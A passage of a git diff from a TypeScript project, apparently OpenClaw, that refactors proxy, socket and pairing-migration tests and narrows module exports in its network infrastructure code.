resolveVoiceWakeRouteByTrigger({ - trigger: " HELLO BOT ", - config: { - version: 1, - defaultTarget: { mode: "current" }, - routes: [{ trigger: "hello bot", target: { sessionKey: "agent:main:main" } }], - updatedAtMs: 0, - }, - }); - expect(result).toEqual({ sessionKey: "agent:main:main" }); - expect(normalizeVoiceWakeTriggerWord(" X Y ")).toBe("x y"); + expect( + resolveVoiceWakeRouteByTrigger({ + trigger: " HELLO BOT ", + config: { + version: 1, + defaultTarget: { mode: "current" }, + routes: [{ trigger: "hello bot", target: { sessionKey: "agent:main:main" } }], + updatedAtMs: 0, + }, + }), + ).toEqual({ sessionKey: "agent:main:main" }); }); }); diff --git a/src/infra/inline-option-token.ts b/src/infra/inline-option-token.ts index 2faee902d327..f2bddbddbd38 100644 --- a/src/infra/inline-option-token.ts +++ b/src/infra/inline-option-token.ts @@ -1,5 +1,5 @@ /** Parsed command-line option token, preserving whether `=` appeared in the original token. */ -export type InlineOptionToken = +type InlineOptionToken = | { name: string; hasInlineValue: false; diff --git a/src/infra/install-source-utils.ts b/src/infra/install-source-utils.ts index 54db887eddf2..12d3c8d53cdc 100644 --- a/src/infra/install-source-utils.ts +++ b/src/infra/install-source-utils.ts @@ -24,7 +24,7 @@ export type NpmSpecResolution = { }; /** Flattened npm resolution fields stored on install results and diagnostics. */ -export type NpmResolutionFields = { +type NpmResolutionFields = { resolvedName?: string; resolvedVersion?: string; resolvedSpec?: string; diff --git a/src/infra/jsonl-socket.test.ts b/src/infra/jsonl-socket.test.ts index e54f062fd75a..f86372b5a7db 100644 --- a/src/infra/jsonl-socket.test.ts +++ b/src/infra/jsonl-socket.test.ts @@ -1,10 +1,9 @@ // Covers JSONL socket request framing and response handling. import net from "node:net"; import path from "node:path"; -import { MAX_TIMER_TIMEOUT_MS } from "@openclaw/normalization-core/number-coercion"; import { describe, expect, it } from "vitest"; import { withTempDir } from "../test-helpers/temp-dir.js"; -import { requestJsonlSocket, testApi } from "./jsonl-socket.js"; +import { requestJsonlSocket } from "./jsonl-socket.js"; async function listenOnSocket(server: net.Server, socketPath: string): Promise { try { @@ -28,10 +27,6 @@ function acceptDoneValue(msg: unknown): number | null | undefined { } describe.runIf(process.platform !== "win32")("requestJsonlSocket", () => { - it("caps oversized socket timeouts before arming the watchdog", () => { - expect(testApi.resolveJsonlSocketTimeoutMs(Number.MAX_SAFE_INTEGER)).toBe(MAX_TIMER_TIMEOUT_MS); - }); - it("ignores malformed and non-accepted lines until one is accepted", async () => { await withTempDir({ prefix: "openclaw-jsonl-socket-" }, async (dir) => { const socketPath = path.join(dir, "socket.sock"); @@ -161,69 +156,4 @@ describe.runIf(process.platform !== "win32")("requestJsonlSocket", () => { } }); }); - - it("accepts a complete response line even when trailing data would exceed the cap", async () => { - await withTempDir({ prefix: "openclaw-jsonl-socket-" }, async (dir) => { - const socketPath = path.join(dir, "socket.sock"); - const server = net.createServer((socket) => { - socket.on("data", () => { - socket.end(`{"type":"done","value":7}\n${"x".repeat(65)}`); - }); - }); - const listening = await listenOnSocket(server, socketPath); - if (!listening) { - return; - } - - try { - await expect( - testApi.requestJsonlSocketWithMaxLineBytes( - { - socketPath, - requestLine: "{}", - timeoutMs: 500, - accept: acceptDoneValue, - }, - 64, - ), - ).resolves.toBe(7); - } finally { - server.close(); - } - }); - }); - - it("rejects oversized complete and unterminated response lines before timeout", async () => { - for (const response of ["x".repeat(65), `${"x".repeat(65)}\n{"type":"done","value":9}\n`]) { - await withTempDir({ prefix: "openclaw-jsonl-socket-" }, async (dir) => { - const socketPath = path.join(dir, "socket.sock"); - const server = net.createServer((socket) => { - socket.on("data", () => { - socket.write(response); - }); - }); - const listening = await listenOnSocket(server, socketPath); - if (!listening) { - return; - } - - try { - const startMs = Date.now(); - const result = await testApi.requestJsonlSocketWithMaxLineBytes( - { - socketPath, - requestLine: "{}", - timeoutMs: 500, - accept: acceptDoneValue, - }, - 64, - ); - expect(result).toBeNull(); - expect(Date.now() - startMs).toBeLessThan(250); - } finally { - server.close(); - } - }); - } - }); }); diff --git a/src/infra/jsonl-socket.ts b/src/infra/jsonl-socket.ts index 09d0877ba9cd..12b85ca02996 100644 --- a/src/infra/jsonl-socket.ts +++ b/src/infra/jsonl-socket.ts @@ -111,9 +111,3 @@ async function requestJsonlSocketWithMaxLineBytes( export async function requestJsonlSocket(params: JsonlSocketRequest): Promise { return await requestJsonlSocketWithMaxLineBytes(params, JSONL_SOCKET_MAX_LINE_BYTES); } - -export const testApi = { - JSONL_SOCKET_MAX_LINE_BYTES, - requestJsonlSocketWithMaxLineBytes, - resolveJsonlSocketTimeoutMs, -}; diff --git a/src/infra/net/fetch-guard.ssrf.test.ts b/src/infra/net/fetch-guard.ssrf.test.ts index ead965459c47..1a5460cd1185 100644 --- a/src/infra/net/fetch-guard.ssrf.test.ts +++ b/src/infra/net/fetch-guard.ssrf.test.ts @@ -11,7 +11,8 @@ import { ensureGlobalUndiciStreamTimeouts, resetGlobalUndiciStreamTimeoutsForTests, } from "./undici-global-dispatcher.js"; -import { TEST_UNDICI_RUNTIME_DEPS_KEY } from "./undici-runtime.js"; + +const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; const { agentCtor, envHttpProxyAgentCtor, proxyAgentCtor } = vi.hoisted(() => ({ agentCtor: vi.fn(function MockAgent(this: { options: unknown }, options: unknown) { diff --git a/src/infra/net/http-connect-tunnel.ts b/src/infra/net/http-connect-tunnel.ts index 63b3c0f02929..add0c85660b0 100644 --- a/src/infra/net/http-connect-tunnel.ts +++ b/src/infra/net/http-connect-tunnel.ts @@ -6,7 +6,7 @@ import { resolveTimerTimeoutMs } from "@openclaw/normalization-core/number-coerc import type { ManagedProxyTlsOptions } from "./proxy/proxy-tls.js"; /** Parameters for opening an APNs HTTP/2 tunnel through an HTTP(S) forward proxy. */ -export type HttpConnectTunnelParams = { +type HttpConnectTunnelParams = { proxyUrl: URL; proxyTls?: ManagedProxyTlsOptions; targetHost: string; diff --git a/src/infra/net/proxy-fetch.test.ts b/src/infra/net/proxy-fetch.test.ts index dd1afee50c60..8fc0e571a444 100644 --- a/src/infra/net/proxy-fetch.test.ts +++ b/src/infra/net/proxy-fetch.test.ts @@ -2,7 +2,6 @@ // FormData conversion, metadata markers, and proxy env recovery. import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { - resetActiveManagedProxyStateForTests, registerActiveManagedProxyUrl, stopActiveManagedProxyRegistration, } from "./proxy/active-proxy-state.js"; @@ -149,12 +148,9 @@ describe("makeProxyFetch", () => { beforeEach(() => { vi.clearAllMocks(); - resetActiveManagedProxyStateForTests(); }); - afterEach(() => { - resetActiveManagedProxyStateForTests(); - }); + afterEach(() => {}); it("uses undici fetch with ProxyAgent dispatcher", async () => { const proxyUrl = "http://proxy.test:8080"; @@ -338,12 +334,10 @@ describe("resolveProxyFetchFromEnv", () => { beforeEach(() => { vi.clearAllMocks(); vi.unstubAllEnvs(); - resetActiveManagedProxyStateForTests(); clearProxyEnv(); }); afterEach(() => { vi.unstubAllEnvs(); - resetActiveManagedProxyStateForTests(); restoreProxyEnv(); }); diff --git a/src/infra/net/proxy/active-proxy-state.ts b/src/infra/net/proxy/active-proxy-state.ts index ec0f06734784..abef09ffc8f6 100644 --- a/src/infra/net/proxy/active-proxy-state.ts +++ b/src/infra/net/proxy/active-proxy-state.ts @@ -134,11 +134,3 @@ export function getActiveManagedProxyUrl(): ActiveManagedProxyUrl | undefined { export function getActiveManagedProxyTlsOptions(): ManagedProxyTlsOptions | undefined { return activeProxyTlsOptions; } - -/** Clears process-local proxy state for tests that share a worker process. */ -export function resetActiveManagedProxyStateForTests(): void { - activeProxyUrl = undefined; - activeProxyLoopbackMode = undefined; - activeProxyTlsOptions = undefined; - activeProxyRegistrationCount = 0; -} diff --git a/src/infra/net/proxy/managed-proxy-undici.test.ts b/src/infra/net/proxy/managed-proxy-undici.test.ts index 9d315c8b3ecf..19c3f49470fb 100644 --- a/src/infra/net/proxy/managed-proxy-undici.test.ts +++ b/src/infra/net/proxy/managed-proxy-undici.test.ts @@ -5,8 +5,9 @@ import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { - resetActiveManagedProxyStateForTests, registerActiveManagedProxyUrl, + stopActiveManagedProxyRegistration, + type ActiveManagedProxyRegistration, } from "./active-proxy-state.js"; import { addActiveManagedProxyTlsOptions, @@ -24,16 +25,18 @@ describe("managed proxy undici TLS options", () => { "OPENCLAW_PROXY_CA_FILE", ] as const; const tempDirs: string[] = []; + const activeRegistrations: ActiveManagedProxyRegistration[] = []; beforeEach(() => { - resetActiveManagedProxyStateForTests(); for (const key of envKeys) { vi.stubEnv(key, ""); } }); afterEach(() => { - resetActiveManagedProxyStateForTests(); + for (const registration of activeRegistrations.splice(0)) { + stopActiveManagedProxyRegistration(registration); + } for (const dir of tempDirs.splice(0)) { rmSync(dir, { recursive: true, force: true }); } @@ -50,10 +53,12 @@ describe("managed proxy undici TLS options", () => { it("adds active proxy CA trust only to matching explicit proxy URLs", () => { vi.stubEnv("OPENCLAW_PROXY_ACTIVE", "1"); - registerActiveManagedProxyUrl(new URL("https://managed.example:8443"), { - loopbackMode: "gateway-only", - proxyTls: { ca: "active-managed-ca" }, - }); + activeRegistrations.push( + registerActiveManagedProxyUrl(new URL("https://managed.example:8443"), { + loopbackMode: "gateway-only", + proxyTls: { ca: "active-managed-ca" }, + }), + ); expect( addActiveManagedProxyTlsOptions({ diff --git a/src/infra/net/proxy/proxy-lifecycle.test.ts b/src/infra/net/proxy/proxy-lifecycle.test.ts index 316efe26cbff..a86f786db174 100644 --- a/src/infra/net/proxy/proxy-lifecycle.test.ts +++ b/src/infra/net/proxy/proxy-lifecycle.test.ts @@ -47,22 +47,30 @@ vi.mock("../../../logger.js", () => ({ })); import { logInfo, logWarn } from "../../../logger.js"; -import { - resetActiveManagedProxyStateForTests, - getActiveManagedProxyTlsOptions, -} from "./active-proxy-state.js"; +import { getActiveManagedProxyTlsOptions } from "./active-proxy-state.js"; import { ensureInheritedManagedProxyRoutingActive, resetProxyLifecycleForTests, registerManagedProxyBrowserCdpBypass, registerManagedProxyGatewayLoopbackBypass, - startProxy, + startProxy as startProxyRuntime, stopProxy, type ProxyHandle, } from "./proxy-lifecycle.js"; const mockLogInfo = vi.mocked(logInfo); const mockLogWarn = vi.mocked(logWarn); +const activeProxyHandles: ProxyHandle[] = []; + +async function startProxy( + config: Parameters[0], +): Promise>> { + const handle = await startProxyRuntime(config); + if (handle) { + activeProxyHandles.push(handle); + } + return handle; +} function expectProxyHandle(handle: Awaited>): ProxyHandle { if (handle === null) { @@ -108,7 +116,6 @@ describe("startProxy", () => { mockLogInfo.mockReset(); mockLogWarn.mockReset(); resetProxyLifecycleForTests(); - resetActiveManagedProxyStateForTests(); installGlobalProxyMock.mockClear(); proxylineRegisterBypassMock.mockClear(); proxylineStopMock.mockClear(); @@ -116,9 +123,11 @@ describe("startProxy", () => { forceResetGlobalDispatcherMock.mockClear(); }); - afterEach(() => { + afterEach(async () => { + for (const handle of activeProxyHandles.splice(0).toReversed()) { + await stopProxy(handle); + } resetProxyLifecycleForTests(); - resetActiveManagedProxyStateForTests(); for (const dir of tempDirs.splice(0)) { rmSync(dir, { recursive: true, force: true }); } diff --git a/src/infra/net/proxy/proxy-validation.test.ts b/src/infra/net/proxy/proxy-validation.test.ts index 0bc544797c87..4e582734e3bc 100644 --- a/src/infra/net/proxy/proxy-validation.test.ts +++ b/src/infra/net/proxy/proxy-validation.test.ts @@ -4,11 +4,7 @@ import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { - DEFAULT_PROXY_VALIDATION_ALLOWED_URLS, - resolveProxyValidationConfig, - runProxyValidation, -} from "./proxy-validation.js"; +import { runProxyValidation } from "./proxy-validation.js"; describe("proxy validation", () => { const tempDirs: string[] = []; @@ -27,61 +23,6 @@ describe("proxy validation", () => { return caFile; } - it("resolves proxy URL overrides before config and OPENCLAW_PROXY_URL", () => { - const result = resolveProxyValidationConfig({ - proxyUrlOverride: "http://override-proxy.example:3128", - config: { - enabled: true, - proxyUrl: "http://config-proxy.example:3128", - }, - env: { - OPENCLAW_PROXY_URL: "http://env-proxy.example:3128", - }, - }); - - expect(result).toEqual({ - enabled: true, - proxyUrl: "http://override-proxy.example:3128", - source: "override", - errors: [], - }); - }); - - it("resolves config proxy URLs before OPENCLAW_PROXY_URL", () => { - const result = resolveProxyValidationConfig({ - config: { - enabled: true, - proxyUrl: "http://config-proxy.example:3128", - }, - env: { - OPENCLAW_PROXY_URL: "http://env-proxy.example:3128", - }, - }); - - expect(result).toEqual({ - enabled: true, - proxyUrl: "http://config-proxy.example:3128", - source: "config", - errors: [], - }); - }); - - it("uses OPENCLAW_PROXY_URL when enabled config has no URL", () => { - const result = resolveProxyValidationConfig({ - config: { enabled: true }, - env: { - OPENCLAW_PROXY_URL: "http://env-proxy.example:3128", - }, - }); - - expect(result).toEqual({ - enabled: true, - proxyUrl: "http://env-proxy.example:3128", - source: "env", - errors: [], - }); - }); - it("reports disabled proxy config when a config URL is present but proxy routing is disabled", async () => { const fetchCheck = vi.fn(); @@ -150,20 +91,66 @@ describe("proxy validation", () => { expect(fetchCheck).toHaveBeenCalled(); }); - it("reports missing URL when proxy validation is enabled without an effective URL", () => { - const result = resolveProxyValidationConfig({ - config: { enabled: true }, - env: {}, + it("prefers the configured proxy URL over OPENCLAW_PROXY_URL", async () => { + const fetchCheck = vi.fn().mockResolvedValue({ ok: true, status: 200 }); + + const result = await runProxyValidation({ + config: { + enabled: true, + proxyUrl: "http://config-proxy.example:3128", + }, + env: { + OPENCLAW_PROXY_URL: "http://env-proxy.example:3128", + }, + allowedUrls: ["https://example.com/"], + deniedUrls: [], + fetchCheck, }); - expect(result.enabled).toBe(true); - expect(result.proxyUrl).toBeUndefined(); - expect(result.source).toBe("missing"); - expect(result.errors).toEqual([ + expect(result.ok).toBe(true); + expect(result.config).toMatchObject({ + enabled: true, + proxyUrl: "http://config-proxy.example:3128", + source: "config", + }); + expect(fetchCheck).toHaveBeenCalledWith({ + proxyUrl: "http://config-proxy.example:3128", + targetUrl: "https://example.com/", + timeoutMs: 5000, + }); + }); + + it("reports a missing effective URL when proxy validation is enabled", async () => { + const fetchCheck = vi.fn(); + const result = await runProxyValidation({ + config: { enabled: true }, + env: {}, + allowedUrls: [], + deniedUrls: [], + fetchCheck, + }); + + expect(fetchCheck).not.toHaveBeenCalled(); + expect(result.config).toMatchObject({ enabled: true, source: "missing" }); + expect(result.config.errors).toEqual([ "proxy validation requires proxy.proxyUrl, --proxy-url, or OPENCLAW_PROXY_URL", ]); }); + it("rejects unsupported proxy URL protocols before probing", async () => { + const fetchCheck = vi.fn(); + const result = await runProxyValidation({ + config: { enabled: true, proxyUrl: "socks5://proxy.example:1080" }, + env: {}, + allowedUrls: [], + deniedUrls: [], + fetchCheck, + }); + + expect(fetchCheck).not.toHaveBeenCalled(); + expect(result.config.errors).toEqual(["proxyUrl must use http:// or https://"]); + }); + it("reports disabled proxy config as an actionable validation problem", async () => { const fetchCheck = vi.fn(); @@ -187,72 +174,6 @@ describe("proxy validation", () => { }); }); - it("accepts HTTPS proxy URLs", () => { - const result = resolveProxyValidationConfig({ - config: { - enabled: true, - proxyUrl: "https://proxy.example:3128", - }, - env: {}, - }); - - expect(result).toEqual({ - enabled: true, - proxyUrl: "https://proxy.example:3128", - source: "config", - errors: [], - }); - }); - - it("rejects unsupported proxy URL protocols", () => { - const result = resolveProxyValidationConfig({ - config: { - enabled: true, - proxyUrl: "socks5://proxy.example:1080", - }, - env: {}, - }); - - expect(result.errors).toEqual(["proxyUrl must use http:// or https://"]); - }); - - it("checks default allowed and denied destinations through the proxy", async () => { - const fetchCheck = vi - .fn() - .mockResolvedValueOnce({ ok: true, status: 200 }) - .mockRejectedValueOnce(new Error("loopback blocked")); - - const result = await runProxyValidation({ - config: { - enabled: true, - proxyUrl: "http://127.0.0.1:3128", - }, - env: {}, - fetchCheck, - }); - - expect(fetchCheck).toHaveBeenCalledTimes(2); - expect(fetchCheck).toHaveBeenNthCalledWith(1, { - proxyUrl: "http://127.0.0.1:3128", - targetUrl: DEFAULT_PROXY_VALIDATION_ALLOWED_URLS[0], - timeoutMs: 5000, - }); - const deniedCall = fetchCheck.mock.calls[1]?.[0] as - | { proxyUrl?: unknown; targetUrl?: string; timeoutMs?: unknown } - | undefined; - expect(deniedCall?.proxyUrl).toBe("http://127.0.0.1:3128"); - expect(deniedCall?.timeoutMs).toBe(5000); - expect(deniedCall?.targetUrl).toMatch(/^http:\/\/127\.0\.0\.1:\d+\/$/); - expect(result.ok).toBe(true); - expect(result.checks[0]?.kind).toBe("allowed"); - expect(result.checks[0]?.url).toBe(DEFAULT_PROXY_VALIDATION_ALLOWED_URLS[0]); - expect(result.checks[0]?.ok).toBe(true); - expect(result.checks[1]?.kind).toBe("denied"); - expect(result.checks[1]?.ok).toBe(true); - expect(result.checks[1]?.error).toBe("loopback blocked"); - expect(result.checks[1]?.url).toMatch(/^http:\/\/127\.0\.0\.1:\d+\/$/); - }); - it("fails the default loopback denied canary on successful ambiguous responses", async () => { const result = await runProxyValidation({ config: { diff --git a/src/infra/net/proxy/proxy-validation.ts b/src/infra/net/proxy/proxy-validation.ts index a2205dcbcd56..65578144a879 100644 --- a/src/infra/net/proxy/proxy-validation.ts +++ b/src/infra/net/proxy/proxy-validation.ts @@ -13,7 +13,7 @@ import { type ManagedProxyTlsOptions, } from "./proxy-tls.js"; -export const DEFAULT_PROXY_VALIDATION_ALLOWED_URLS = ["https://example.com/"] as const; +const DEFAULT_PROXY_VALIDATION_ALLOWED_URLS = ["https://example.com/"] as const; const DEFAULT_PROXY_VALIDATION_APNS_AUTHORITY = "https://api.sandbox.push.apple.com"; const DEFAULT_PROXY_VALIDATION_TIMEOUT_MS = 5000; @@ -21,10 +21,10 @@ const DENIED_CANARY_HEADER = "x-openclaw-proxy-validation-canary"; const APNS_REACHABILITY_REASON = "InvalidProviderToken"; /** Describes where the effective proxy validation URL came from. */ -export type ProxyValidationConfigSource = "override" | "config" | "env" | "missing" | "disabled"; +type ProxyValidationConfigSource = "override" | "config" | "env" | "missing" | "disabled"; /** Normalized proxy validation input plus actionable config errors. */ -export type ProxyValidationResolvedConfig = { +type ProxyValidationResolvedConfig = { enabled: boolean; proxyUrl?: string; proxyCaFile?: string; @@ -33,10 +33,10 @@ export type ProxyValidationResolvedConfig = { }; /** Validation probe categories reported to CLI output. */ -export type ProxyValidationCheckKind = "allowed" | "denied" | "apns"; +type ProxyValidationCheckKind = "allowed" | "denied" | "apns"; /** Result for one proxy validation probe. */ -export type ProxyValidationCheck = { +type ProxyValidationCheck = { kind: ProxyValidationCheckKind; url: string; ok: boolean; @@ -52,7 +52,7 @@ export type ProxyValidationResult = { }; /** Parameters for fetch-based proxy validation probes. */ -export type ProxyValidationFetchCheckParams = { +type ProxyValidationFetchCheckParams = { proxyUrl: string; proxyTls?: ManagedProxyTlsOptions; targetUrl: string; @@ -60,26 +60,26 @@ export type ProxyValidationFetchCheckParams = { }; /** Result from a fetch-based probe, including optional denied-canary evidence. */ -export type ProxyValidationFetchCheckResult = { +type ProxyValidationFetchCheckResult = { ok: boolean; status: number; deniedCanaryToken?: string; }; /** Injectable fetch probe used by tests and the default runtime validator. */ -export type ProxyValidationFetchCheck = ( +type ProxyValidationFetchCheck = ( params: ProxyValidationFetchCheckParams, ) => Promise; /** Parameters for APNs reachability validation through the proxy tunnel. */ -export type ProxyValidationApnsCheckParams = { +type ProxyValidationApnsCheckParams = { proxyUrl: string; proxyTls?: ManagedProxyTlsOptions; authority: string; timeoutMs: number; }; -export type ProxyValidationApnsCheckResult = { +type ProxyValidationApnsCheckResult = { status: number; /** Present when the response originated from a real APNs server (Apple always returns this UUID). */ apnsId?: string; @@ -88,12 +88,12 @@ export type ProxyValidationApnsCheckResult = { }; /** Injectable APNs probe used by tests and the default HTTP/2 validator. */ -export type ProxyValidationApnsCheck = ( +type ProxyValidationApnsCheck = ( params: ProxyValidationApnsCheckParams, ) => Promise; /** Inputs used to resolve proxy validation config before network probes run. */ -export type ResolveProxyValidationConfigOptions = { +type ResolveProxyValidationConfigOptions = { config?: ProxyConfig; env?: NodeJS.ProcessEnv | Partial>; proxyUrlOverride?: string; @@ -101,7 +101,7 @@ export type ResolveProxyValidationConfigOptions = { }; /** Full proxy validation runner options, including probe overrides for tests. */ -export type RunProxyValidationOptions = ResolveProxyValidationConfigOptions & { +type RunProxyValidationOptions = ResolveProxyValidationConfigOptions & { allowedUrls?: readonly string[]; deniedUrls?: readonly string[]; timeoutMs?: number; @@ -145,7 +145,7 @@ function validateResolvedProxy( } /** Resolves validation config precedence: explicit override, config, then env. */ -export function resolveProxyValidationConfig( +function resolveProxyValidationConfig( options: ResolveProxyValidationConfigOptions, ): ProxyValidationResolvedConfig { const overrideUrl = normalizeProxyUrl(options.proxyUrlOverride); diff --git a/src/infra/net/runtime-fetch.test.ts b/src/infra/net/runtime-fetch.test.ts index 27172a592907..d17e1ac02266 100644 --- a/src/infra/net/runtime-fetch.test.ts +++ b/src/infra/net/runtime-fetch.test.ts @@ -2,7 +2,8 @@ // calls reach undici's dispatcher-aware fetch. import { afterEach, describe, expect, it, vi } from "vitest"; import { fetchWithRuntimeDispatcher } from "./runtime-fetch.js"; -import { TEST_UNDICI_RUNTIME_DEPS_KEY } from "./undici-runtime.js"; + +const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; class RuntimeFormData { readonly records: Array<{ diff --git a/src/infra/net/ssrf.dispatcher.test.ts b/src/infra/net/ssrf.dispatcher.test.ts index 9ff8eb6b276e..80cd5d6b6d67 100644 --- a/src/infra/net/ssrf.dispatcher.test.ts +++ b/src/infra/net/ssrf.dispatcher.test.ts @@ -1,7 +1,8 @@ // Pinned dispatcher tests cover undici family policy, pinned lookup injection, // timeout propagation, and proxy dispatcher construction. import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { TEST_UNDICI_RUNTIME_DEPS_KEY } from "./undici-runtime.js"; + +const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; const { agentCtor, envHttpProxyAgentCtor, proxyAgentCtor } = vi.hoisted(() => ({ agentCtor: vi.fn(function MockAgent(this: { options: unknown }, options: unknown) { diff --git a/src/infra/net/undici-global-dispatcher.test.ts b/src/infra/net/undici-global-dispatcher.test.ts index 4f5ac9f52f76..5e6d7eba3b29 100644 --- a/src/infra/net/undici-global-dispatcher.test.ts +++ b/src/infra/net/undici-global-dispatcher.test.ts @@ -164,7 +164,6 @@ import { resolveEnvHttpProxyUrl, } from "./proxy-env.js"; import { - resetActiveManagedProxyStateForTests, registerActiveManagedProxyUrl, stopActiveManagedProxyRegistration, } from "./proxy/active-proxy-state.js"; @@ -215,7 +214,6 @@ describe("ensureGlobalUndiciStreamTimeouts", () => { beforeEach(() => { vi.clearAllMocks(); resetGlobalUndiciStreamTimeoutsForTests(); - resetActiveManagedProxyStateForTests(); setCurrentDispatcher(new Agent()); getDefaultAutoSelectFamily.mockReturnValue(undefined); vi.mocked(isWSL2Sync).mockReturnValue(false); @@ -645,7 +643,6 @@ describe("ensureGlobalUndiciEnvProxyDispatcher", () => { beforeEach(() => { vi.clearAllMocks(); resetGlobalUndiciStreamTimeoutsForTests(); - resetActiveManagedProxyStateForTests(); setCurrentDispatcher(new Agent()); vi.mocked(isWSL2Sync).mockReturnValue(false); vi.mocked(hasEnvHttpProxyAgentConfigured).mockReturnValue(false); diff --git a/src/infra/net/undici-runtime.test.ts b/src/infra/net/undici-runtime.test.ts index 6a23a87d756b..b4ef8cb164d8 100644 --- a/src/infra/net/undici-runtime.test.ts +++ b/src/infra/net/undici-runtime.test.ts @@ -2,20 +2,24 @@ // client factory installation. import { afterEach, describe, expect, it, vi } from "vitest"; import { - resetActiveManagedProxyStateForTests, registerActiveManagedProxyUrl, stopActiveManagedProxyRegistration, } from "./proxy/active-proxy-state.js"; -import { - createHttp1EnvHttpProxyAgent, - createHttp1ProxyAgent, - TEST_UNDICI_RUNTIME_DEPS_KEY, -} from "./undici-runtime.js"; +import { createHttp1EnvHttpProxyAgent, createHttp1ProxyAgent } from "./undici-runtime.js"; const envHttpProxyAgentCtor = vi.fn(); const poolCtor = vi.fn(); const proxyAgentCtor = vi.fn(); const proxyConnect = vi.fn(); +const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; + +afterEach(() => { + Reflect.deleteProperty(globalThis as object, TEST_UNDICI_RUNTIME_DEPS_KEY); + envHttpProxyAgentCtor.mockReset(); + poolCtor.mockReset(); + proxyAgentCtor.mockReset(); + proxyConnect.mockReset(); +}); class MockAgent { readonly __testStub = true; @@ -105,15 +109,6 @@ function invokeClientConnect(options: Record, servername: strin connect({ host: "127.0.0.1:8443", servername }, vi.fn()); } -afterEach(() => { - Reflect.deleteProperty(globalThis as object, TEST_UNDICI_RUNTIME_DEPS_KEY); - envHttpProxyAgentCtor.mockReset(); - poolCtor.mockReset(); - proxyAgentCtor.mockReset(); - proxyConnect.mockReset(); - resetActiveManagedProxyStateForTests(); -}); - describe("createHttp1ProxyAgent", () => { it("adds active managed proxy CA trust to explicit ProxyAgent options", () => { installUndiciRuntimeDeps(); diff --git a/src/infra/net/undici-runtime.ts b/src/infra/net/undici-runtime.ts index cdef835976a7..86ccb9417a04 100644 --- a/src/infra/net/undici-runtime.ts +++ b/src/infra/net/undici-runtime.ts @@ -6,7 +6,7 @@ import { isRecord as isObjectRecord } from "@openclaw/normalization-core/record- import { addActiveManagedProxyTlsOptions } from "./proxy/managed-proxy-undici.js"; import { resolveUndiciAutoSelectFamilyConnectOptions } from "./undici-family-policy.js"; -export const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; +const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; /** Runtime-loaded undici constructors/functions used where static imports would affect globals. */ export type UndiciRuntimeDeps = { diff --git a/src/infra/node-pairing-migration.test.ts b/src/infra/node-pairing-migration.test.ts index 47faae96ee79..5058cb5482c4 100644 --- a/src/infra/node-pairing-migration.test.ts +++ b/src/infra/node-pairing-migration.test.ts @@ -1,11 +1,12 @@ // Covers the one-time fold of the legacy nodes/*.json store into device records. import fs from "node:fs/promises"; +import path from "node:path"; import { afterAll, beforeAll, describe, expect, test } from "vitest"; import { createSuiteTempRootTracker } from "../test-helpers/temp-dir.js"; import { approveDevicePairing, getPairedDevice, requestDevicePairing } from "./device-pairing.js"; import { migrateLegacyNodePairingStore } from "./node-pairing-migration.js"; import { listNodePairing } from "./node-pairing.js"; -import { resolvePairingPaths, writeJson } from "./pairing-files.js"; +import { resolvePairingPaths } from "./pairing-files.js"; const suiteRootTracker = createSuiteTempRootTracker({ prefix: "openclaw-node-pairing-migration-" }); @@ -17,6 +18,11 @@ async function seedNodeDevice(baseDir: string, deviceId: string): Promise await approveDevicePairing(request.request.requestId, { callerScopes: [] }, baseDir); } +async function writeJson(filePath: string, value: unknown): Promise { + await fs.mkdir(path.dirname(filePath), { recursive: true }); + await fs.writeFile(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); +} + describe("migrateLegacyNodePairingStore", () => { beforeAll(async () => { await suiteRootTracker.setup(); @@ -31,62 +37,45 @@ describe("migrateLegacyNodePairingStore", () => { await expect(migrateLegacyNodePairingStore({ baseDir })).resolves.toBeNull(); }); - test("folds legacy rows into device records, drops orphans, archives files", async () => { + test("folds legacy rows into device records, drops orphans, and archives files", async () => { const baseDir = await suiteRootTracker.make("case"); - const legacyTokenValue = ["legacy", "token"].join("-"); await seedNodeDevice(baseDir, "node-kept"); const { pendingPath, pairedPath } = resolvePairingPaths(baseDir, "nodes"); await writeJson(pairedPath, { "node-kept": { nodeId: "node-kept", - token: legacyTokenValue, + token: "retired-token", displayName: "Living Room iPad", - version: "2026.6.11", caps: ["canvas", "screen"], commands: ["screen.snapshot", "system.run"], - permissions: { camera: true }, - bins: ["ffmpeg"], createdAtMs: 1_000, approvedAtMs: 2_000, - lastConnectedAtMs: 3_000, }, "node-orphaned": { nodeId: "node-orphaned", - token: `${legacyTokenValue}-2`, - approvedAtMs: 2_000, + token: "orphaned-token", createdAtMs: 1_000, + approvedAtMs: 2_000, }, }); await writeJson(pendingPath, { "req-1": { requestId: "req-1", nodeId: "node-kept", ts: Date.now() }, }); - const result = await migrateLegacyNodePairingStore({ baseDir }); - expect(result).toEqual({ migrated: 1, orphaned: 1 }); - + await expect(migrateLegacyNodePairingStore({ baseDir })).resolves.toEqual({ + migrated: 1, + orphaned: 1, + }); const device = await getPairedDevice("node-kept", baseDir); - expect(device?.nodeSurface).toEqual({ + expect(device?.nodeSurface).toMatchObject({ displayName: "Living Room iPad", - version: "2026.6.11", - coreVersion: undefined, - uiVersion: undefined, - modelIdentifier: undefined, caps: ["canvas", "screen"], commands: ["screen.snapshot", "system.run"], - permissions: { camera: true }, - bins: ["ffmpeg"], - createdAtMs: 1_000, - approvedAtMs: 2_000, - lastConnectedAtMs: 3_000, }); - // The retired token never crosses into the device record. - expect(JSON.stringify(device)).not.toContain(legacyTokenValue); - - const list = await listNodePairing(baseDir); - expect(list.paired.map((node) => node.nodeId)).toEqual(["node-kept"]); - 